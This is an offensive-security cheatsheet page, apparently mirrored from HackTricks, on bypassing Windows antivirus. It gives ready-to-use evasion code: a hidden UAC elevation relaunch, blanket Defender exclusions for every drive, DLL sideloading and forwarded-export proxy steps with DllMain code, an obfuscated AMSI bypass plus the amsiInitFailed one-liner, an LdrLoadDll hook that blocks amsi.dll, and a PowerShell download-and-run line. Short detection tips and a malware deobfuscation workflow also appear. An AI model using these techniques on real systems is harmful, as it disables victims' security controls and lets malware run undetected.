daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

av-bypass.md (97677B)


      1 ---
      2 title: "Antivirus (AV) Bypass"
      3 section: "Windows"
      4 sectionSlug: "windows-hardening"
      5 sourcePath: "src/windows-hardening/av-bypass.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/av-bypass.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Antivirus (AV) Bypass
     14 
     15 **This page was initially written by** [**@m2rc_p**](https://twitter.com/m2rc_p)**!**
     16 
     17 ## Stop Defender
     18 
     19 - [defendnot](https://github.com/es3n1n/defendnot): A tool to stop Windows Defender from working.
     20 - [no-defender](https://github.com/es3n1n/no-defender): A tool to stop Windows Defender from working faking another AV.
     21 - [Disable Defender if you are admin](/hacktricks/windows-hardening/basic-powershell-for-pentesters/overview)
     22 
     23 ### Installer-style UAC bait before tampering with Defender
     24 
     25 Public loaders masquerading as game cheats frequently ship as unsigned Node.js/Nexe installers that first **ask the user for elevation** and only then neuter Defender. The flow is simple:
     26 
     27 1. Probe for administrative context with `net session`. The command only succeeds when the caller holds admin rights, so a failure indicates the loader is running as a standard user.
     28 2. Immediately relaunch itself with the `RunAs` verb to trigger the expected UAC consent prompt while preserving the original command line.
     29 
     30 ```powershell
     31 if (-not (net session 2>$null)) {
     32     powershell -WindowStyle Hidden -Command "Start-Process cmd.exe -Verb RunAs -WindowStyle Hidden -ArgumentList '/c ""`<path_to_loader`>""'"
     33     exit
     34 }
     35 ```
     36 
     37 Victims already believe they are installing “cracked” software, so the prompt is usually accepted, giving the malware the rights it needs to change Defender’s policy.<sup>[[26]](#references)</sup>
     38 
     39 ### Blanket `MpPreference` exclusions for every drive letter
     40 
     41 Once elevated, GachiLoader-style chains maximize Defender blind spots instead of disabling the service outright. The loader first kills the GUI watchdog (`taskkill /F /IM SecHealthUI.exe`) and then pushes **extremely broad exclusions** so every user profile, system directory, and removable disk becomes unscannable:
     42 
     43 ```powershell
     44 $targets = @('C:\Users\', 'C:\ProgramData\', 'C:\Windows\')
     45 Get-PSDrive -PSProvider FileSystem | ForEach-Object { $targets += $_.Root }
     46 $targets | Sort-Object -Unique | ForEach-Object { Add-MpPreference -ExclusionPath $_ }
     47 Add-MpPreference -ExclusionExtension '.sys'
     48 ```
     49 
     50 Key observations:
     51 
     52 - The loop walks every mounted filesystem (D:\, E:\, USB sticks, etc.) so **any future payload dropped anywhere on disk is ignored**.
     53 - The `.sys` extension exclusion is forward-looking—attackers reserve the option to load unsigned drivers later without touching Defender again.
     54 - All changes land under `HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions`, letting later stages confirm the exclusions persist or expand them without re-triggering UAC.
     55 
     56 Because no Defender service is stopped, naïve health checks keep reporting “antivirus active” even though real-time inspection never touches those paths.<sup>[[26]](#references)</sup>
     57 
     58 ## **AV Evasion Methodology**
     59 
     60 Currently, AVs use different methods for checking if a file is malicious or not, static detection, dynamic analysis, and for the more advanced EDRs, behavioural analysis.
     61 
     62 ### **Static detection**
     63 
     64 Static detection is achieved by flagging known malicious strings or arrays of bytes in a binary or script, and also extracting information from the file itself (e.g. file description, company name, digital signatures, icon, checksum, etc.). This means that using known public tools may get you caught more easily, as they've probably been analyzed and flagged as malicious. There are a couple of ways of getting around this sort of detection:
     65 
     66 - **Encryption**
     67 
     68 If you encrypt the binary, there will be no way for AV of detecting your program, but you will need some sort of loader to decrypt and run the program in memory.
     69 
     70 - **Obfuscation**
     71 
     72 Sometimes all you need to do is change some strings in your binary or script to get it past AV, but this can be a time-consuming task depending on what you're trying to obfuscate.
     73 
     74 - **Custom tooling**
     75 
     76 If you develop your own tools, there will be no known bad signatures, but this takes a lot of time and effort.
     77 
     78 > [!TIP]
     79 > A good way for checking against Windows Defender static detection is [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). It basically splits the file into multiple segments and then tasks Defender to scan each one individually, this way, it can tell you exactly what are the flagged strings or bytes in your binary.
     80 
     81 I highly recommend you check out this [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) about practical AV Evasion.
     82 
     83 ### **Dynamic analysis**
     84 
     85 Dynamic analysis is when the AV runs your binary in a sandbox and watches for malicious activity (e.g. trying to decrypt and read your browser's passwords, performing a minidump on LSASS, etc.). This part can be a bit trickier to work with, but here are some things you can do to evade sandboxes.
     86 
     87 - **Sleep before execution** Depending on how it's implemented, it can be a great way of bypassing AV's dynamic analysis. AV's have a very short time to scan files to not interrupt the user's workflow, so using long sleeps can disturb the analysis of binaries. The problem is that many AV's sandboxes can just skip the sleep depending on how it's implemented.
     88 - **Checking machine's resources** Usually Sandboxes have very little resources to work with (e.g. < 2GB RAM), otherwise they could slow down the user's machine. You can also get very creative here, for example by checking the CPU's temperature or even the fan speeds, not everything will be implemented in the sandbox.
     89 - **Machine-specific checks** If you want to target a user who's workstation is joined to the "contoso.local" domain, you can do a check on the computer's domain to see if it matches the one you've specified, if it doesn't, you can make your program exit.
     90 
     91 It turns out that Microsoft Defender's Sandbox computername is HAL9TH, so, you can check for the computer name in your malware before detonation, if the name matches HAL9TH, it means you're inside defender's sandbox, so you can make your program exit.
     92 
     93 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28209%29.png" alt=""><figcaption><p>source: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
     94 
     95 Some other really good tips from [@mgeeky](https://twitter.com/mariuszbit) for going against Sandboxes
     96 
     97 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28248%29.png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
     98 
     99 As we've said before in this post, **public tools** will eventually **get detected**, so, you should ask yourself something:
    100 
    101 For example, if you want to dump LSASS, **do you really need to use mimikatz**? Or could you use a different project which is lesser known and also dumps LSASS.
    102 
    103 The right answer is probably the latter. Taking mimikatz as an example, it's probably one of, if not the most flagged piece of malware by AVs and EDRs, while the project itself is super cool, it's also a nightmare to work with it to get around AVs, so just look for alternatives for what you're trying to achieve.
    104 
    105 > [!TIP]
    106 > When modifying your payloads for evasion, make sure to **turn off automatic sample submission** in defender, and please, seriously, **DO NOT UPLOAD TO VIRUSTOTAL** if your goal is achieving evasion in the long run. If you want to check if your payload gets detected by a particular AV, install it on a VM, try to turn off the automatic sample submission, and test it there until you're satisfied with the result.
    107 
    108 ## EXEs vs DLLs
    109 
    110 Whenever it's possible, always **prioritize using DLLs for evasion**, in my experience, DLL files are usually **way less detected** and analyzed, so it's a very simple trick to use in order to avoid detection in some cases (if your payload has some way of running as a DLL of course).
    111 
    112 As we can see in this image, a DLL Payload from Havoc has a detection rate of 4/26 in antiscan.me, while the EXE payload has a 7/26 detection rate.
    113 
    114 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281130%29.png" alt=""><figcaption><p>antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL</p></figcaption></figure>
    115 
    116 Now we'll show some tricks you can use with DLL files to be much more stealthier.
    117 
    118 ## DLL Sideloading & Proxying
    119 
    120 **DLL Sideloading** takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other.
    121 
    122 You can check for programs susceptible to DLL Sideloading using [Siofra](https://github.com/Cybereason/siofra) and the following powershell script:
    123 
    124 ```bash
    125 Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
    126     $binarytoCheck = "C:\Program Files\" + $_
    127     C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
    128 }
    129 ```
    130 
    131 This command will output the list of programs susceptible to DLL hijacking inside "C:\Program Files\\" and the DLL files they try to load.
    132 
    133 I highly recommend you **explore DLL Hijackable/Sideloadable programs yourself**, this technique is pretty stealthy done properly, but if you use publicly known DLL Sideloadable programs, you may get caught easily.
    134 
    135 Just by placing a malicious DLL with the name a program expects to load, won't load your payload, as the program expects some specific functions inside that DLL, to fix this issue, we'll use another technique called **DLL Proxying/Forwarding**.
    136 
    137 **DLL Proxying** forwards the calls a program makes from the proxy (and malicious) DLL to the original DLL, thus preserving the program's functionality and being able to handle the execution of your payload.
    138 
    139 I will be using the [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) project from [@flangvik](https://twitter.com/Flangvik/)
    140 
    141 These are the steps I followed:
    142 
    143 ```text
    144 1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
    145 2. Generate some shellcode (I used Havoc C2)
    146 3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
    147 4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
    148 ```
    149 
    150 The last command will give us 2 files: a DLL source code template, and the original renamed DLL.
    151 
    152 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
    153 
    154 ```text
    155 5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
    156 ```
    157 
    158 These are the results:
    159 
    160 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
    161 
    162 Both our shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) and the proxy DLL have a 0/26 Detection rate in [antiscan.me](https://antiscan.me)! I would call that a success.
    163 
    164 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28193%29.png" alt=""><figcaption></figcaption></figure>
    165 
    166 > [!TIP]
    167 > I **highly recommend** you watch [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) about DLL Sideloading and also [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) to learn more about what we've discussed more in-depth.
    168 
    169 ### Abusing Forwarded Exports (ForwardSideLoading)
    170 
    171 Windows PE modules can export functions that are actually "forwarders": instead of pointing to code, the export entry contains an ASCII string of the form `TargetDll.TargetFunc`. When a caller resolves the export, the Windows loader will:
    172 
    173 - Load `TargetDll` if not already loaded
    174 - Resolve `TargetFunc` from it
    175 
    176 Key behaviors to understand:
    177 - If `TargetDll` is a KnownDLL, it is supplied from the protected KnownDLLs namespace (e.g., ntdll, kernelbase, ole32).<sup>[[15]](#references)</sup>
    178 - If `TargetDll` is not a KnownDLL, the normal DLL search order is used, which includes the directory of the module that is doing the forward resolution.
    179 
    180 This enables an indirect sideloading primitive: find a signed DLL that exports a function forwarded to a non-KnownDLL module name, then co-locate that signed DLL with an attacker-controlled DLL named exactly as the forwarded target module. When the forwarded export is invoked, the loader resolves the forward and loads your DLL from the same directory, executing your DllMain.<sup>[[13]](#references)</sup>
    181 
    182 Example observed on Windows 11:
    183 
    184 ```text
    185 keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
    186 ```
    187 
    188 `NCRYPTPROV.dll` is not a KnownDLL, so it is resolved via normal search order.
    189 
    190 PoC (copy-paste):
    191 1) Copy the signed system DLL to a writable folder
    192 ```text
    193 copy C:\Windows\System32\keyiso.dll C:\test\
    194 ```
    195 2) Drop a malicious `NCRYPTPROV.dll` in the same folder. A minimal DllMain is enough to get code execution; you do not need to implement the forwarded function to trigger DllMain.
    196 ```c
    197 // x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
    198 #include <windows.h>
    199 BOOL WINAPI DllMain(HINSTANCE hinst, DWORD reason, LPVOID reserved){
    200     if (reason == DLL_PROCESS_ATTACH){
    201         HANDLE h = CreateFileA("C\\\\test\\\\DLLMain_64_DLL_PROCESS_ATTACH.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    202         if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&w,NULL); CloseHandle(h);}        
    203     }
    204     return TRUE;
    205 }
    206 ```
    207 3) Trigger the forward with a signed LOLBin:
    208 ```text
    209 rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
    210 ```
    211 
    212 Observed behavior:
    213 - rundll32 (signed) loads the side-by-side `keyiso.dll` (signed)
    214 - While resolving `KeyIsoSetAuditingInterface`, the loader follows the forward to `NCRYPTPROV.SetAuditingInterface`
    215 - The loader then loads `NCRYPTPROV.dll` from `C:\test` and executes its `DllMain`
    216 - If `SetAuditingInterface` is not implemented, you'll get a "missing API" error only after `DllMain` has already run
    217 
    218 Hunting tips:
    219 - Focus on forwarded exports where the target module is not a KnownDLL. KnownDLLs are listed under `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
    220 - You can enumerate forwarded exports with tooling such as:
    221 ```text
    222 dumpbin /exports C:\Windows\System32\keyiso.dll
    223 # forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
    224 ```
    225 - See the Windows 11 forwarder inventory to search for candidates: https://hexacorn.com/d/apis_fwd.txt<sup>[[14]](#references)</sup>
    226 
    227 Detection/defense ideas:
    228 - Monitor LOLBins (e.g., rundll32.exe) loading signed DLLs from non-system paths, followed by loading non-KnownDLLs with the same base name from that directory
    229 - Alert on process/module chains like: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` under user-writable paths
    230 - Enforce code integrity policies (WDAC/AppLocker) and deny write+execute in application directories
    231 
    232 ## [**Freeze**](https://github.com/optiv/Freeze)
    233 
    234 `Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods`
    235 
    236 You can use Freeze to load and execute your shellcode in a stealthy manner.
    237 
    238 ```text
    239 Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
    240 1. Generate some shellcode, in this case I used Havoc C2.
    241 2. ./Freeze -I demon.bin -encrypt -O demon.exe
    242 3. Profit, no alerts from defender
    243 ```
    244 
    245 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
    246 
    247 > [!TIP]
    248 > Evasion is just a cat & mouse game, what works today could be detected tomorrow, so never rely on only one tool, if possible, try chaining multiple evasion techniques.
    249 
    250 ## Direct/Indirect Syscalls & SSN Resolution (SysWhispers4)
    251 
    252 EDRs often place **user-mode inline hooks** on `ntdll.dll` syscall stubs. To bypass those hooks, you can generate **direct** or **indirect** syscall stubs that load the correct **SSN** (System Service Number) and transition to kernel mode without executing the hooked export entrypoint.<sup>[[32]](#references)</sup>
    253 
    254 **Invocation options:**
    255 - **Direct (embedded)**: emit a `syscall`/`sysenter`/`SVC #0` instruction in the generated stub (no `ntdll` export hit).
    256 - **Indirect**: jump into an existing `syscall` gadget inside `ntdll` so the kernel transition appears to originate from `ntdll` (useful for heuristic evasion); **randomized indirect** picks a gadget from a pool per call.
    257 - **Egg-hunt**: avoid embedding the static `0F 05` opcode sequence on disk; resolve a syscall sequence at runtime.
    258 
    259 **Hook-resistant SSN resolution strategies:**
    260 - **FreshyCalls (VA sort)**: infer SSNs by sorting syscall stubs by virtual address instead of reading stub bytes.
    261 - **SyscallsFromDisk**: map a clean `\KnownDlls\ntdll.dll`, read SSNs from its `.text`, then unmap (bypasses all in-memory hooks).
    262 - **RecycledGate**: combine VA-sorted SSN inference with opcode validation when a stub is clean; fall back to VA inference if hooked.
    263 - **HW Breakpoint**: set DR0 on the `syscall` instruction and use a VEH to capture the SSN from `EAX` at runtime, without parsing hooked bytes.
    264 
    265 Example SysWhispers4 usage:
    266 ```bash
    267 # Indirect syscalls + hook-resistant resolution
    268 python syswhispers.py --preset injection --method indirect --resolve recycled
    269 
    270 # Resolve SSNs from a clean on-disk ntdll
    271 python syswhispers.py --preset injection --method indirect --resolve from_disk --unhook-ntdll
    272 
    273 # Hardware breakpoint SSN extraction
    274 python syswhispers.py --functions NtAllocateVirtualMemory,NtCreateThreadEx --resolve hw_breakpoint
    275 ```
    276 
    277 ## AMSI (Anti-Malware Scan Interface)
    278 
    279 AMSI was created to prevent "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Initially, AVs were only capable of scanning **files on disk**, so if you could somehow execute payloads **directly in-memory**, the AV couldn't do anything to prevent it, as it didn't have enough visibility.
    280 
    281 The AMSI feature is integrated into these components of Windows.
    282 
    283 - User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
    284 - PowerShell (scripts, interactive use, and dynamic code evaluation)
    285 - Windows Script Host (wscript.exe and cscript.exe)
    286 - JavaScript and VBScript
    287 - Office VBA macros
    288 
    289 It allows antivirus solutions to inspect script behavior by exposing script contents in a form that is both unencrypted and unobfuscated.
    290 
    291 Running `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` will produce the following alert on Windows Defender.
    292 
    293 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281135%29.png" alt=""><figcaption></figcaption></figure>
    294 
    295 Notice how it prepends `amsi:` and then the path to the executable from which the script ran, in this case, powershell.exe
    296 
    297 We didn't drop any file to disk, but still got caught in-memory because of AMSI.
    298 
    299 Moreover, starting with **.NET 4.8**, C# code is run through AMSI as well. This even affects `Assembly.Load(byte[])` to load in-memory execution. Thats why using lower versions of .NET (like 4.7.2 or below) is recommended for in-memory execution if you want to evade AMSI.
    300 
    301 There are a couple of ways to get around AMSI:
    302 
    303 - **Obfuscation**
    304 
    305 Since AMSI mainly works with static detections, therefore, modifying the scripts you try to load can be a good way for evading detection.
    306 
    307 However, AMSI has the capability of unobfuscating scripts even if it has multiple layers, so obfuscation could be a bad option depending on how it's done. This makes it not-so-straightforward to evade. Although, sometimes, all you need to do is change a couple of variable names and you'll be good, so it depends on how much something has been flagged.
    308 
    309 - **AMSI Bypass**
    310 
    311 Since AMSI is implemented by loading a DLL into the powershell (also cscript.exe, wscript.exe, etc.) process, it's possible to tamper with it easily even running as an unprivileged user. Due to this flaw in the implementation of AMSI, researchers have found multiple ways to evade AMSI scanning.
    312 
    313 **Forcing an Error**
    314 
    315 Forcing the AMSI initialization to fail (amsiInitFailed) will result that no scan will be initiated for the current process. Originally this was disclosed by [Matt Graeber](https://twitter.com/mattifestation) and Microsoft has developed a signature to prevent wider usage.
    316 
    317 ```bash
    318 [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
    319 ```
    320 
    321 All it took was one line of powershell code to render AMSI unusable for the current powershell process. This line has of course been flagged by AMSI itself, so some modification is needed in order to use this technique.
    322 
    323 Here is a modified AMSI bypass I took from this [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
    324 
    325 ```bash
    326 Try{#Ams1 bypass technic nº 2
    327       $Xdatabase = 'Utils';$Homedrive = 'si'
    328       $ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
    329       $DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
    330       $fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
    331       $CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
    332       $Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
    333       $SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
    334       $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
    335       $Spotfix.SetValue($null,$true)
    336    }Catch{Throw $_}
    337 ```
    338 
    339 Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.
    340 
    341 **Memory Patching**
    342 
    343 This technique was initially discovered by [@RastaMouse](https://twitter.com/_RastaMouse/) and it involves finding address for the "AmsiScanBuffer" function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result.
    344 
    345 > [!TIP]
    346 > Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) for a more detailed explanation.
    347 
    348 There are also many other techniques used to bypass AMSI with powershell, check out [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) and [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) to learn more about them.
    349 
    350 ### Blocking AMSI by preventing amsi.dll load (LdrLoadDll hook)
    351 
    352 AMSI is initialised only after `amsi.dll` is loaded into the current process. A robust, language‑agnostic bypass is to place a user‑mode hook on `ntdll!LdrLoadDll` that returns an error when the requested module is `amsi.dll`. As a result, AMSI never loads and no scans occur for that process.<sup>[[23]](#references)</sup>
    353 
    354 Implementation outline (x64 C/C++ pseudocode):
    355 ```c
    356 #include <windows.h>
    357 #include <winternl.h>
    358 
    359 typedef NTSTATUS (NTAPI *pLdrLoadDll)(PWSTR, ULONG, PUNICODE_STRING, PHANDLE);
    360 static pLdrLoadDll realLdrLoadDll;
    361 
    362 NTSTATUS NTAPI Hook_LdrLoadDll(PWSTR path, ULONG flags, PUNICODE_STRING module, PHANDLE handle){
    363     if (module && module->Buffer){
    364         UNICODE_STRING amsi; RtlInitUnicodeString(&amsi, L"amsi.dll");
    365         if (RtlEqualUnicodeString(module, &amsi, TRUE)){
    366             // Pretend the DLL cannot be found → AMSI never initialises in this process
    367             return STATUS_DLL_NOT_FOUND; // 0xC0000135
    368         }
    369     }
    370     return realLdrLoadDll(path, flags, module, handle);
    371 }
    372 
    373 void InstallHook(){
    374     HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
    375     realLdrLoadDll = (pLdrLoadDll)GetProcAddress(ntdll, "LdrLoadDll");
    376     // Apply inline trampoline or IAT patching to redirect to Hook_LdrLoadDll
    377     // e.g., Microsoft Detours / MinHook / custom 14‑byte jmp thunk
    378 }
    379 ```
    380 Notes
    381 - Works across PowerShell, WScript/CScript and custom loaders alike (anything that would otherwise load AMSI).
    382 - Pair with feeding scripts over stdin (`PowerShell.exe -NoProfile -NonInteractive -Command -`) to avoid long command‑line artefacts.
    383 - Seen used by loaders executed through LOLBins (e.g., `regsvr32` calling `DllRegisterServer`).
    384 
    385 The tool **[https://github.com/Flangvik/AMSI.fail](https://github.com/Flangvik/AMSI.fail)** also generates script to bypass AMSI.
    386 The tool **[https://amsibypass.com/](https://amsibypass.com/)** also generates script to bypass AMSI that avoid signature by randomized user-defined function, variables, characters expression and applies random character casing to PowerShell keywords to avoid signature.
    387 
    388 **Remove the detected signature**
    389 
    390 You can use a tool such as **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** and **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** to remove the detected AMSI signature from the memory of the current process. This tool works by scanning the memory of the current process for the AMSI signature and then overwriting it with NOP instructions, effectively removing it from memory.
    391 
    392 **AV/EDR products that uses AMSI**
    393 
    394 You can find a list of AV/EDR products that uses AMSI in **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
    395 
    396 **Use Powershell version 2**
    397 If you use PowerShell version 2, AMSI will not be loaded, so you can run your scripts without being scanned by AMSI. You can do this:
    398 
    399 ```bash
    400 powershell.exe -version 2
    401 ```
    402 
    403 ## PS Logging
    404 
    405 PowerShell logging is a feature that allows you to log all PowerShell commands executed on a system. This can be useful for auditing and troubleshooting purposes, but it can also be a **problem for attackers who want to evade detection**.
    406 
    407 To bypass PowerShell logging, you can use the following techniques:
    408 
    409 - **Disable PowerShell Transcription and Module Logging**: You can use a tool such as [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) for this purpose.
    410 - **Use Powershell version 2**: If you use PowerShell version 2, AMSI will not be loaded, so you can run your scripts without being scanned by AMSI. You can do this: `powershell.exe -version 2`
    411 - **Use an unmanaged PowerShell session**: Use [UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) to host PowerShell without launching `powershell.exe` (the approach used by Cobalt Strike's `powerpick`). This evades controls tied specifically to the `powershell.exe` process, but it does not inherently disable AMSI, Script Block Logging, or every other PowerShell defense; coverage depends on the runtime and host implementation.
    412 
    413 
    414 ## Obfuscation
    415 
    416 > [!TIP]
    417 > Several obfuscation techniques relies on encrypting data, which will increase the entropy of the binary which will make easier for AVs and EDRs to detect it. Be careful with this and maybe only apply encryption to specific sections of your code that is sensitive or needs to be hidden.
    418 
    419 ### Deobfuscating ConfuserEx-Protected .NET Binaries
    420 
    421 When analysing malware that uses ConfuserEx 2 (or commercial forks) it is common to face several layers of protection that will block decompilers and sandboxes.  The workflow below reliably **restores a near–original IL** that can afterwards be decompiled to C# in tools such as dnSpy or ILSpy.<sup>[[10]](#references)</sup>
    422 
    423 1.  Anti-tampering removal – ConfuserEx encrypts every *method body* and decrypts it inside the *module* static constructor (`<Module>.cctor`).  This also patches the PE checksum so any modification will crash the binary.  Use **AntiTamperKiller** to locate the encrypted metadata tables, recover the XOR keys and rewrite a clean assembly:
    424    ```bash
    425    # https://github.com/wwh1004/AntiTamperKiller
    426    python AntiTamperKiller.py Confused.exe Confused.clean.exe
    427    ```
    428    Output contains the 6 anti-tamper parameters (`key0-key3`, `nameHash`, `internKey`) that can be useful when building your own unpacker.
    429 
    430 2.  Symbol / control-flow recovery – feed the *clean* file to **de4dot-cex** (a ConfuserEx-aware fork of de4dot).
    431    ```bash
    432    de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
    433    ```
    434    Flags:
    435      • `-p crx` – select the ConfuserEx 2 profile
    436      • de4dot will undo control-flow flattening, restore original namespaces, classes and variable names and decrypt constant strings.
    437 
    438 3.  Proxy-call stripping – ConfuserEx replaces direct method calls with lightweight wrappers (a.k.a *proxy calls*) to further break decompilation.  Remove them with **ProxyCall-Remover**:
    439    ```bash
    440    ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
    441    ```
    442    After this step you should observe normal .NET API such as `Convert.FromBase64String` or `AES.Create()` instead of opaque wrapper functions (`Class8.smethod_10`, …).
    443 
    444 4.  Manual clean-up – run the resulting binary under dnSpy, search for large Base64 blobs or `RijndaelManaged`/`TripleDESCryptoServiceProvider` use to locate the *real* payload.  Often the malware stores it as a TLV-encoded byte array initialised inside `<Module>.byte_0`.
    445 
    446 The above chain restores execution flow **without** needing to run the malicious sample – useful when working on an offline workstation.
    447 
    448 > 🛈  ConfuserEx produces a custom attribute named `ConfusedByAttribute` that can be used as an IOC to automatically triage samples.
    449 
    450 #### One-liner
    451 ```bash
    452 autotok.sh Confused.exe  # wrapper that performs the 3 steps above sequentially
    453 ```
    454 
    455 ---
    456 
    457 - [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
    458 - [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): The aim of this project is to provide an open-source fork of the [LLVM](http://www.llvm.org/) compilation suite able to provide increased software security through [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) and tamper-proofing.
    459 - [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstates how to use `C++11/14` language to generate, at compile time, obfuscated code without using any external tool and without modifying the compiler.
    460 - [**obfy**](https://github.com/fritzone/obfy): Add a layer of obfuscated operations generated by the C++ template metaprogramming framework which will make the life of the person wanting to crack the application a little bit harder.
    461 - [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz is a x64 binary obfuscator that is able to obfuscate various different pe files including: .exe, .dll, .sys
    462 - [**metame**](https://github.com/a0rtega/metame): Metame is a simple metamorphic code engine for arbitrary executables.
    463 - [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator is a fine-grained code obfuscation framework for LLVM-supported languages using ROP (return-oriented programming). ROPfuscator obfuscates a program at the assembly code level by transforming regular instructions into ROP chains, thwarting our natural conception of normal control flow.
    464 - [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is a .NET PE Crypter written in Nim
    465 - [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor is able to convert existing EXE/DLL into shellcode and then load them
    466 
    467 ## SmartScreen & MoTW
    468 
    469 You may have seen this screen when downloading some executables from the internet and executing them.
    470 
    471 Microsoft Defender SmartScreen is a security mechanism intended to protect the end user against running potentially malicious applications.
    472 
    473 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28664%29.png" alt=""><figcaption></figcaption></figure>
    474 
